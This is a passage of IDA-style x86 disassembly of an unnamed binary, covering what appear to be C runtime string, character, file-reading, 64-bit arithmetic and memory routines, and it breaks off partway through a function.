push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_416B58: ; CODE XREF: sub_416B3F+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_416B58
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_416B80
mov edx, dword_46B630
loc_416B80: ; CODE XREF: sub_416B3F+39j
; sub_416B3F+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_416BA0
test al, al
jz short loc_416BA0
inc edx
jmp short loc_416B80
; ---------------------------------------------------------------------------
loc_416BA0: ; CODE XREF: sub_416B3F+58j
; sub_416B3F+5Cj
mov ebx, edx
loc_416BA2: ; CODE XREF: sub_416B3F+81j
mov al, [edx]
test al, al
jz short loc_416BC6
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_416BC2
inc edx
jmp short loc_416BA2
; ---------------------------------------------------------------------------
loc_416BC2: ; CODE XREF: sub_416B3F+7Ej
and byte ptr [edx], 0
inc edx
loc_416BC6: ; CODE XREF: sub_416B3F+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_46B630, edx
and eax, ebx
pop ebx
leave
retn
sub_416B3F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416BE0 proc near ; CODE XREF: sub_4062F7+1B3p
; sub_4071B6+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_416C63
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_416C04
shr ecx, 2
jnz short loc_416C71
jmp short loc_416C25
; ---------------------------------------------------------------------------
loc_416C04: ; CODE XREF: sub_416BE0+1Bj
; sub_416BE0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_416C32
test al, al
jz short loc_416C3A
test esi, 3
jnz short loc_416C04
mov ebx, ecx
shr ecx, 2
jnz short loc_416C71
loc_416C20: ; CODE XREF: sub_416BE0+8Fj
and ebx, 3
jz short loc_416C32
loc_416C25: ; CODE XREF: sub_416BE0+22j
; sub_416BE0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_416C5E
dec ebx
jnz short loc_416C25
loc_416C32: ; CODE XREF: sub_416BE0+2Bj
; sub_416BE0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416C3A: ; CODE XREF: sub_416BE0+2Fj
test edi, 3
jz short loc_416C54
loc_416C42: ; CODE XREF: sub_416BE0+72j
mov [edi], al
inc edi
dec ecx
jz loc_416CD6
test edi, 3
jnz short loc_416C42
loc_416C54: ; CODE XREF: sub_416BE0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_416CC7
loc_416C5B: ; CODE XREF: sub_416BE0+7Fj
; sub_416BE0+F4j
mov [edi], al
inc edi
loc_416C5E: ; CODE XREF: sub_416BE0+4Dj
dec ebx
jnz short loc_416C5B
pop ebx
pop esi
loc_416C63: ; CODE XREF: sub_416BE0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416C69: ; CODE XREF: sub_416BE0+A9j
; sub_416BE0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416C20
loc_416C71: ; CODE XREF: sub_416BE0+20j
; sub_416BE0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416C69
test dl, dl
jz short loc_416CBB
test dh, dh
jz short loc_416CB1
test edx, 0FF0000h
jz short loc_416CA7
test edx, 0FF000000h
jnz short loc_416C69
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CA7: ; CODE XREF: sub_416BE0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CB1: ; CODE XREF: sub_416BE0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_416CBF
; ---------------------------------------------------------------------------
loc_416CBB: ; CODE XREF: sub_416BE0+ADj
xor edx, edx
mov [edi], edx
loc_416CBF: ; CODE XREF: sub_416BE0+C5j
; sub_416BE0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_416CD1
loc_416CC7: ; CODE XREF: sub_416BE0+79j
xor eax, eax
loc_416CC9: ; CODE XREF: sub_416BE0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_416CC9
loc_416CD1: ; CODE XREF: sub_416BE0+E5j
and ebx, 3
jnz short loc_416C5B
loc_416CD6: ; CODE XREF: sub_416BE0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416BE0 endp
; =============== S U B R O U T I N E =======================================
sub_416CDE proc near ; CODE XREF: sub_406B84+2E2p
; sub_406B84+42Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416D5A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_416CFD
cmp edi, 1
jz short loc_416CFD
cmp edi, 2
jnz short loc_416D5A
loc_416CFD: ; CODE XREF: sub_416CDE+13j
; sub_416CDE+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_416D14
push esi
call sub_41C4E1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_416D14: ; CODE XREF: sub_416CDE+27j
push esi
call sub_418704
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_416D29
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_416D3D
; ---------------------------------------------------------------------------
loc_416D29: ; CODE XREF: sub_416CDE+42j
test al, 1
jz short loc_416D3D
test al, 8
jz short loc_416D3D
test ah, 4
jnz short loc_416D3D
mov dword ptr [esi+18h], 200h
loc_416D3D: ; CODE XREF: sub_416CDE+49j
; sub_416CDE+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41C447
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_416D67
; ---------------------------------------------------------------------------
loc_416D5A: ; CODE XREF: sub_416CDE+Bj
; sub_416CDE+1Dj
mov dword_46B634, 16h
or eax, 0FFFFFFFFh
loc_416D67: ; CODE XREF: sub_416CDE+7Aj
pop edi
pop esi
retn
sub_416CDE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D70 proc near ; CODE XREF: sub_406B84+2ACp
; sub_406B84+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_416DA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_416D9F
jz short loc_416DA1
dec ecx
dec ecx
loc_416D9F: ; CODE XREF: sub_416D70+29j
not ecx
loc_416DA1: ; CODE XREF: sub_416D70+9j
; sub_416D70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_416D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416DB0 proc near ; CODE XREF: sub_407075+5Cp
; sub_407075+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_416E64
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_416DDA
loc_416DCB: ; CODE XREF: sub_416DB0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_416E0B
test edi, 3
jnz short loc_416DCB
loc_416DDA: ; CODE XREF: sub_416DB0+19j
; sub_416DB0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_416DDA
mov eax, [edi-4]
test al, al
jz short loc_416E18
test ah, ah
jz short loc_416E13
test eax, 0FF0000h
jz short loc_416E0E
test eax, 0FF000000h
jnz short loc_416DDA
loc_416E0B: ; CODE XREF: sub_416DB0+20j
dec edi
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E0E: ; CODE XREF: sub_416DB0+52j
sub edi, 2
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E13: ; CODE XREF: sub_416DB0+4Bj
sub edi, 3
jmp short loc_416E1B
; ---------------------------------------------------------------------------
loc_416E18: ; CODE XREF: sub_416DB0+47j
sub edi, 4
loc_416E1B: ; CODE XREF: sub_416DB0+5Cj
; sub_416DB0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_416E30
mov ebx, ecx
shr ecx, 2
jnz short loc_416E7C
jmp short loc_416E4C
; ---------------------------------------------------------------------------
loc_416E30: ; CODE XREF: sub_416DB0+75j
; sub_416DB0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_416E6A
mov [edi], dl
inc edi
dec ecx
jz short loc_416E60
test esi, 3
jnz short loc_416E30
mov ebx, ecx
shr ecx, 2
jnz short loc_416E7C
loc_416E4C: ; CODE XREF: sub_416DB0+7Ej
; sub_416DB0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_416E60
loc_416E53: ; CODE XREF: sub_416DB0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_416E62
dec ecx
jnz short loc_416E53
loc_416E60: ; CODE XREF: sub_416DB0+8Bj
; sub_416DB0+A1j
mov [edi], cl
loc_416E62: ; CODE XREF: sub_416DB0+ABj
pop ebx
pop esi
loc_416E64: ; CODE XREF: sub_416DB0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416E6A: ; CODE XREF: sub_416DB0+85j
; sub_416DB0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416E74: ; CODE XREF: sub_416DB0+E4j
; sub_416DB0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416E4C
loc_416E7C: ; CODE XREF: sub_416DB0+7Cj
; sub_416DB0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416E74
test dl, dl
jz short loc_416E6A
test dh, dh
jz short loc_416EC8
test edx, 0FF0000h
jz short loc_416EB8
test edx, 0FF000000h
jnz short loc_416E74
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416EB8: ; CODE XREF: sub_416DB0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416EC8: ; CODE XREF: sub_416DB0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416DB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EE0 proc near ; CODE XREF: sub_4071B6+2A2p
; sub_40CD3A+3012p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_416F01
xor eax, eax
jmp short loc_416F03
; ---------------------------------------------------------------------------
loc_416F01: ; CODE XREF: sub_416EE0+1Bj
mov eax, edi
loc_416F03: ; CODE XREF: sub_416EE0+1Fj
cld
pop edi
leave
retn
sub_416EE0 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_416F20
loc_416F10: ; CODE XREF: sub_416F20+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_416F20
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416F20 proc near ; CODE XREF: sub_408503+D9p
; sub_40CD3A+3F3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00416F10 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_416F26: ; CODE XREF: sub_4158E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_416F4B
loc_416F38: ; CODE XREF: sub_416F20+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_416F10
test cl, cl
jz short loc_416F94
test edx, 3
jnz short loc_416F38
loc_416F4B: ; CODE XREF: sub_416F20+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_416F56: ; CODE XREF: sub_416F20+61j
; sub_416F20+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_416F98
and eax, 81010100h
jz short loc_416F56
and eax, 1010100h
jnz short loc_416F92
and esi, 80000000h
jnz short loc_416F56
loc_416F92: ; CODE XREF: sub_416F20+68j
; sub_416F20+81j ...
pop esi
pop edi
loc_416F94: ; CODE XREF: sub_416F20+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_416F98: ; CODE XREF: sub_416F20+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_416FD5
test al, al
jz short loc_416F92
cmp ah, bl
jz short loc_416FCE
test ah, ah
jz short loc_416F92
shr eax, 10h
cmp al, bl
jz short loc_416FC7
test al, al
jz short loc_416F92
cmp ah, bl
jz short loc_416FC0
test ah, ah
jz short loc_416F92
jmp short loc_416F56
; ---------------------------------------------------------------------------
loc_416FC0: ; CODE XREF: sub_416F20+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FC7: ; CODE XREF: sub_416F20+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FCE: ; CODE XREF: sub_416F20+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_416FD5: ; CODE XREF: sub_416F20+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_416F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FDC proc near ; CODE XREF: sub_408503+C6p
; sub_40CD3A+43DFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_416FF0
xor eax, eax
jmp short loc_417026
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FDC+Ej
dec [ebp+arg_4]
push esi
jz short loc_417020
mov esi, [ebp+arg_8]
loc_416FF9: ; CODE XREF: sub_416FDC+42j
dec dword ptr [esi+4]
js short loc_417008
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41700F
; ---------------------------------------------------------------------------
loc_417008: ; CODE XREF: sub_416FDC+20j
push esi
call sub_41C178
pop ecx
loc_41700F: ; CODE XREF: sub_416FDC+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41702A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_417020
dec [ebp+arg_4]
jnz short loc_416FF9
loc_417020: ; CODE XREF: sub_416FDC+18j
; sub_416FDC+3Dj ...
and byte ptr [edi], 0
loc_417023: ; CODE XREF: sub_416FDC+55j
mov eax, ebx
pop esi
loc_417026: ; CODE XREF: sub_416FDC+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41702A: ; CODE XREF: sub_416FDC+36j
cmp edi, [ebp+arg_0]
jnz short loc_417020
xor ebx, ebx
jmp short loc_417023
sub_416FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417033 proc near ; CODE XREF: sub_409A45+6p
; sub_409A63+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_46B6CC, 0
push ebx
push esi
push edi
jnz short loc_417060
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4170F9
cmp eax, 5Ah
jg loc_4170F9
add eax, 20h
jmp loc_4170F9
; ---------------------------------------------------------------------------
loc_417060: ; CODE XREF: sub_417033+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_417094
cmp dword_43812C, esi
jle short loc_417082
push esi
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41708C
; ---------------------------------------------------------------------------
loc_417082: ; CODE XREF: sub_417033+42j
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, esi
loc_41708C: ; CODE XREF: sub_417033+4Dj
test eax, eax
jnz short loc_417094
loc_417090: ; CODE XREF: sub_417033+ADj
mov eax, ebx
jmp short loc_4170F9
; ---------------------------------------------------------------------------
loc_417094: ; CODE XREF: sub_417033+3Aj
; sub_417033+5Bj
mov edx, off_437F20
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4170B8
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_4170C1
; ---------------------------------------------------------------------------
loc_4170B8: ; CODE XREF: sub_417033+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_4170C1: ; CODE XREF: sub_417033+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_46B6CC
call sub_41C639
add esp, 20h
test eax, eax
jz short loc_417090
cmp eax, esi
jnz short loc_4170EC
movzx eax, [ebp+var_4]
jmp short loc_4170F9
; ---------------------------------------------------------------------------
loc_4170EC: ; CODE XREF: sub_417033+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4170F9: ; CODE XREF: sub_417033+16j
; sub_417033+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_417033 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417100 proc near ; CODE XREF: sub_40A922+3Dp
; sub_40C10D+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417121
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_417171
; ---------------------------------------------------------------------------
loc_417121: ; CODE XREF: sub_417100+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41712F: ; CODE XREF: sub_417100+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41712F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41715A
cmp edx, [esp+4+arg_4]
ja short loc_41715A
jb short loc_417162
cmp eax, [esp+4+arg_0]
jbe short loc_417162
loc_41715A: ; CODE XREF: sub_417100+4Aj
; sub_417100+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_417162: ; CODE XREF: sub_417100+52j
; sub_417100+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_417171: ; CODE XREF: sub_417100+1Fj
pop ebx
retn 10h
sub_417100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417180 proc near ; CODE XREF: sub_40A922+24p
; sub_40C10D+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4171A2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4171E3
; ---------------------------------------------------------------------------
loc_4171A2: ; CODE XREF: sub_417180+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4171B0: ; CODE XREF: sub_417180+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4171B0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4171DE
cmp edx, [esp+8+arg_4]
ja short loc_4171DE
jb short loc_4171DF
cmp eax, [esp+8+arg_0]
jbe short loc_4171DF
loc_4171DE: ; CODE XREF: sub_417180+4Ej
; sub_417180+54j
dec esi
loc_4171DF: ; CODE XREF: sub_417180+56j
; sub_417180+5Cj
xor edx, edx
mov eax, esi
loc_4171E3: ; CODE XREF: sub_417180+20j
pop esi
pop ebx
retn 10h
sub_417180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171E8 proc near ; CODE XREF: sub_40A9D8+1E3p
; sub_40C574+104p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_415B10
cmp eax, 1
pop ecx
jb short loc_417223
cmp byte ptr [ebx+1], 3Ah
jnz short loc_417223
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41721F
push 2
push ebx
push esi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41721F: ; CODE XREF: sub_4171E8+25j
inc ebx
inc ebx
jmp short loc_41722D
; ---------------------------------------------------------------------------
loc_417223: ; CODE XREF: sub_4171E8+18j
; sub_4171E8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41722D
and byte ptr [eax], 0
loc_41722D: ; CODE XREF: sub_4171E8+39j
; sub_4171E8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_4172A5
loc_417240: ; CODE XREF: sub_4171E8+87j
mov cl, [eax]
movzx edx, cl
test byte_46CB81[edx], 4
jz short loc_417251
inc eax
jmp short loc_41726B
; ---------------------------------------------------------------------------
loc_417251: ; CODE XREF: sub_4171E8+64j
cmp cl, 2Fh
jz short loc_417265
cmp cl, 5Ch
jz short loc_417265
cmp cl, 2Eh
jnz short loc_41726B
mov [ebp+var_4], eax
jmp short loc_41726B
; ---------------------------------------------------------------------------
loc_417265: ; CODE XREF: sub_4171E8+6Cj
; sub_4171E8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41726B: ; CODE XREF: sub_4171E8+67j
; sub_4171E8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_417240
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_4172A5
cmp [ebp+arg_8], 0
jz short loc_4172A0
sub edi, ebx
cmp edi, esi
jb short loc_417289
mov edi, esi
loc_417289: ; CODE XREF: sub_4171E8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41CC3D
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4172A0: ; CODE XREF: sub_4171E8+97j
mov ebx, [ebp+arg_4]
jmp short loc_4172AF
; ---------------------------------------------------------------------------
loc_4172A5: ; CODE XREF: sub_4171E8+56j
; sub_4171E8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_4172AF
and byte ptr [ecx], 0
loc_4172AF: ; CODE XREF: sub_4171E8+BBj
; sub_4171E8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_417302
cmp edi, ebx
jb short loc_417302
cmp [ebp+arg_C], 0
jz short loc_4172DF
sub edi, ebx
cmp edi, esi
jb short loc_4172C8
mov edi, esi
loc_4172C8: ; CODE XREF: sub_4171E8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41CC3D
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4172DF: ; CODE XREF: sub_4171E8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41732A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4172EF
mov esi, eax
loc_4172EF: ; CODE XREF: sub_4171E8+103j
push esi
push [ebp+var_4]
push edi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41732A
; ---------------------------------------------------------------------------
loc_417302: ; CODE XREF: sub_4171E8+CCj
; sub_4171E8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_417320
sub eax, ebx
cmp eax, esi
jnb short loc_417311
mov esi, eax
loc_417311: ; CODE XREF: sub_4171E8+125j
push esi
push ebx
push edi
call sub_41CC3D
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_417320: ; CODE XREF: sub_4171E8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41732A
and byte ptr [eax], 0
loc_41732A: ; CODE XREF: sub_4171E8+FCj
; sub_4171E8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4171E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41732F proc near ; CODE XREF: sub_40B0EC+19p
; sub_412B8B+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_417D6C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41736D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41737A
; ---------------------------------------------------------------------------
loc_41736D: ; CODE XREF: sub_41732F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C57
pop ecx
pop ecx
loc_41737A: ; CODE XREF: sub_41732F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41732F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41737F proc near ; CODE XREF: sub_40B363+2Cp
; sub_416663+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41739A
push [ebp+arg_4]
call sub_415BE9
pop ecx
jmp loc_41761A
; ---------------------------------------------------------------------------
loc_41739A: ; CODE XREF: sub_41737F+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_4173AF
push [ebp+arg_0]
call sub_415C9B
pop ecx
jmp loc_417618
; ---------------------------------------------------------------------------
loc_4173AF: ; CODE XREF: sub_41737F+20j
mov eax, dword_46CCA8
cmp eax, 3
jnz loc_4174BF
loc_4173BD: ; CODE XREF: sub_41737F+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41749B
push [ebp+arg_0]
call sub_418CBD
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_417476
cmp esi, dword_46CCA0
ja short loc_41742F
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_4194C6
add esp, 0Ch
test eax, eax
jnz short loc_41742B
push esi
call sub_419011
mov edi, eax
pop ecx
test edi, edi
jz short loc_41742F
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41740F
mov eax, esi
